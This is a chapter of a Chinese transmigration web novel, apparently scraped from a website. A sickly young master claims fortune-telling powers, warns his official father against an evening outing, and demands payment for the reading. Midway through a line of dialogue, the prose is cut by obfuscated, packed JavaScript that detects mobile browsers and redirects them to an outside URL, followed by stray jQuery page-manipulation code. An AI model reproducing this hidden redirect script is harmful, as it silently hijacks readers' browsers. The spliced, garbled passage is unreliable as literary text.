10. 第 10 章

作品:《跑路失败就成亲

    孟澎今日回府比平时早。


    所谓春困秋乏,门房正躲在阴影里半眯着眼打盹,忽然听见马车的声音,猛地一抬眼,便看见一身官袍的孟尚书正掀开车帘。


    门房的困意全无,慌忙上前迎接。


    “老爷。”


    “嗯。”孟澎踩着凳子下了车,却没让车夫把马车赶回府里,而是示意他把车赶到路边等待。


    入府没走几步,余光便闪过一道影子。孟澎敏锐抬眼,瞧见一个少年绕过垂花门,一溜烟地跑远了。


    “那是谁?”孟澎问,“怎么看着有点像翎儿身边侍候的小厮?”


    一旁的管事追了几步,看清背影,道:“确实是路生。”


    “为何见了我不行礼,还在府里肆意疾跑。”孟澎不满。


    管事忙道:“老爷莫恼,奴才会去管教他的。”


    到了后院,冯夫人带着丫鬟婆子来迎。


    “老爷今日下值得早。”冯夫人边笑着,边替孟澎脱官服官帽,又指挥丫鬟去拿在家里穿的內衫。


    孟澎抬手制止:“我一会儿还要出门,拿见客的外袍来。”


    冯夫人顿了顿,语气微妙:“老爷与人有约?”


    “同僚应酬罢了,夫人莫要多想。”孟澎说。


    “不敢。”


    冯夫人欲言又止,碍于近期老爷对她教子无方很不满,她得装一阵子贤良淑德,此刻有心想多问几句,却不好开口。


    忍了半天,见孟澎换完衣服,一杯茶都没喝完便要出门,终于忍不住,问:“老爷去哪儿应酬?和哪位大人?”


    末了,欲盖弥彰地补充道:“是否需要妾备好礼品,命人放到马车上?”


    “不用,就几个朋友。我近日官场不顺,你又不是不知道!”孟澎不耐烦地大步出门,没答冯夫人的问题。


    推三阻四,避而不答。


    冯夫人满腹疑虑,问心腹婆子:“他莫不是去见哪个狐媚子了吧?”


    婆子安慰道:“夫人,老爷爱你敬你,平日对你多好,他哪儿会呢。”


    自从孟文琢考砸还撒谎被抓到,孟澎对她态度便差了一许多,夜里都去姨娘的房里,这让冯夫人心中有了危机感。


    冯夫人没忘自己是小三上位,更没忘男人的劣根性。但听着婆子的安慰,心里稍稍安定。


    “也许是我多心了吧。”


    另一边。


    孟澎急匆匆要出门,在孟府大门口被孟翎拦下。


    孟翎收到消息,一路从西偏院疾冲而来,跑得上气不接下气。他喘得像个破风箱,苍白的脸色倒是因奔跑而泛起绯色,瞧着平添几分艳丽。


    “爹……等……等等!”


    孟翎扶着膝盖也站不住,摇摇晃晃的。


    路生紧随其后,慌慌张张地叫了一声“少爷”,就要去扶。


    孟澎唬了一跳,和路生一起左右架住孟翎。


    “身体不好还跑那么快!”孟澎骂道,“你就是这样没规矩,才带的你院里的下人也不守规矩!”


    “你说啥……现在有点耳鸣,听不清。”孟翎抓着孟尚书的手臂撑着,缓了半天。


    孟尚书从未跟大儿子这么亲近,一时之间身体有些僵硬。


    他以为儿子在依赖不舍,就像寻常人家的孩子见到父亲回家,也会第一时间跑过去索要拥抱。


    其实孟翎只是把他当拐杖。


    毕竟路生比他还矮一个头,总不能趴路生身上。


    孟翎好不容易缓过来,自己也很是害怕。


    前世再弱,那也是中考体育、高考抢食堂熬过来的“猛将”,虽说到了大学体能变差,但国家规定的体测会定期逼他上操场。


    跑一千米可能会累死,冲锋早八还是没问题的。


    没想到,这辈子会差点被百米冲刺弄死。


    该怪尚书府太大,还是孟尚书的走路速度太快。


    孟翎无辜地想,反正不能是我的问题。


    孟澎拍了拍儿子的背。


    “好了,抱够了就松手。爹还有事,晚上回府再去看你。”孟澎的语气温和许多,胸腔里涌动着温暖动人的父子情。


    少年哆嗦了一下,手臂差点起鸡皮疙瘩。他立马松开,连连后退几步。


    好恶心的语气,下次得换个拐杖。


    “爹,我找你有事。”


    “何事?必须现在说吗。”


    “十万火急。爹,我要告诉你一个重要的秘密。”


    话音刚落,孟翎便见一旁的门房和管事不动声色地靠近了一点,还竖起了耳朵。


    尚书府的下人好生八卦。


    无妨,满足你们。


    孟翎大声泄密:“爹,我以前看似浑浑噩噩,实则是在梦中受高人指点,研学卜卦占星之术!”


    众人:“……”


    众人:“???”


    孟澎怀疑自己的耳朵。


    “你?占卜?”


    “嗯!”孟翎昂首挺胸,很是骄傲的模样。


    孟澎的父爱尚未消退,对着少年温柔地笑了一下,转头迅速变脸,呵斥包括路生在内的一众下人。


    “你们怎么做事的!让翎儿接触了神神鬼鬼的东西,都在说胡话了!”


    “尤其是你,路生!大夫开的药,你有没有好好盯着少爷喝?若是玩忽职守,慢待少爷,定饶不了你!”


    孟老爷大怒。


    “啧,说真话还不信。”少年咂了咂舌。


    孟翎挡在路生前面,冷冷道:“爹的意思是怀疑我脑子有病?说到忽视、慢待,爹才是其中翘楚。”


    孟澎的父爱只维持了几分钟,原形毕露。


    “翎儿,你特意跑来门口与我吵架?”孟澎也冷着一张脸。


    “不,我来给人占卜。你到底要不要算命?”


    “算就算!”孟澎气道,“说啊!我倒要看你能算出个什么名堂。”


    孟翎早在看见孟澎身影的时候,就点开了系统,替他测算吉凶。花了点时间,确定结果之后,才追上来的。


    少年盯着孟尚书那张人到中年也称得上帅大叔的脸,一动不动,维持了数十个呼吸。


    孟翎生得美,大眼睛,眼珠子黝黑,平时说说笑笑表情灵动的时候,就像猫儿一样可怜可爱。


    可若是换个场景,美人一眨不眨地盯着你,那双招子仿佛能轻易窥破世间任何秘密,一张口、一挥手,能把人的灵魂都摄走。


    孟翎连胸膛的呼吸起伏都放轻了,语调长而缓,目光幽幽。


    “爹,我劝你今日不要去‘应酬’。”


    孟尚书一下子汗毛倒竖,他下意识以为孟翎知道了点什么。


    “你——”


    孟翎不给他说话的机会,说:“我观你面相,就知你今日有劫难!”


    众人面色骤变,无论翎少爷是否真有本事,这话都是不吉利的。


    孟澎面沉如水:“哦?”


    孟翎回忆着天机薄给出的结果,先给一个证据:


    “在事业上,你虽无大错,能挑出来的小毛病不少,还在一个公开场合被上官呵斥责问……今早上朝的时候,你被谁骂了?左右丞相,还是……皇帝?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929795|192777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “你怎么会知道?!”孟澎闻言大骇。


    他确实因年尾繁忙,工作出了点小差池。


    早朝时,当着诸多同僚的面,皇帝严厉地将他训斥一通,不至于丢官罚俸,但很丢脸。


    孟翎一整天都待在府里,甚少接触外人,唯一见过的人便是杨义昌,可杨义昌是个书院教书先生,并不当官,也无当官的家人。


    无论如何,孟翎都不该知道早朝发生了什么啊。


    “你究竟是怎么知道的?”孟澎沉声问,“翎儿,刺探朝廷乃是重罪。”


    孟翎心想,前半段是天机薄给的,后面是猜的。


    官职二品尚书,渣爹的上司太少了。


    这还不好猜?


    “没人告诉我,都说了是算出来的。”


    孟翎加快语速:“你今日运势下下,是大凶,行事多有不顺。如果有人邀请你外出参加宴会、游玩,最好不要去,否则会卷入新的麻烦事里,闹得家宅不宁。”


    孟澎沉默不语。


    孟翎踏前一步,凑近了,轻飘飘地说:“爹,卦象显示,你最近的异性缘不错嘛,提醒你,都是烂桃花哦。”


    “你想说什么?”孟澎皱了皱眉头。


    “让你留在家里别出门,否则会有毁容的风险。这就是你今日的劫。”孟翎懒洋洋地说。


    孟澎听罢,冷冷一笑,“我当是什么神异手段,原来你是跟冯梅串通好,来套我话的?”


    “……”孟翎沉默片刻,诚恳发问:“何以见得啊?”


    “若不是冯梅告诉你,我早朝挨了圣上责骂,你又怎会知晓!”孟澎说。


    孟翎:“我跟她素来不合,见面都不说‘你好’‘再见’之外的第三个词。”


    孟澎明摆着不信。


    孟翎不拦了。


    “那你去吧,一路好走。不过——”少年摊开手掌。


    孟澎:“作甚?!”


    孟翎:“你找半仙算命不给钱啊?看你是我爹的份上,又是首次找我算卦,给你亲情半价,承惠五两。”


    孟澎气笑了:“我可没有找你。”


    “有啊。”孟翎替他回忆,“我问你算不算,你喝令我——‘说啊!’。”


    少年语气模仿得有十成十相似。


    孟澎:“……”


    孟尚书感觉经历了一场闹剧,他冷声命令管事:“送翎儿回西院温书,再检查一下他的书架,不许他看话本。”


    管事躬身:“是,老爷。”


    孟澎转身上马车。


    孟翎追在他身后,气急败坏地叫道:


    “别人吃霸王餐,你怎么算霸王卦!!”


    “因为我是你爹。”


    孟澎说完,见少年一脸郁郁,心中莫名畅快。


    他对车夫道:“去天香楼。”


    “好的,老爷。”


    车夫一甩马鞭。


    孟翎被管事强行请回西院。


    管事奉命搜查少年的书房,检查有无话本。


    孟翎不想让管事看见自己的丑字,路生害怕管事搜查到五爷给的银钱,主仆俩默契地挡在院门前,堵着不给进。


    “大公子,奴才也是奉命行事。”管事为难。


    孟翎:“你多虑了,我房里没有别的书。”


    管事:“这不好说。”


    “没什么不好说的。”少年神情阴冷:“我的存款拿去买了纸笔,唯一的五两银子被赖账了,没钱买话本,不信去查账房。”


    “…………”管事默默作揖,“打扰少爷了,奴才告退。”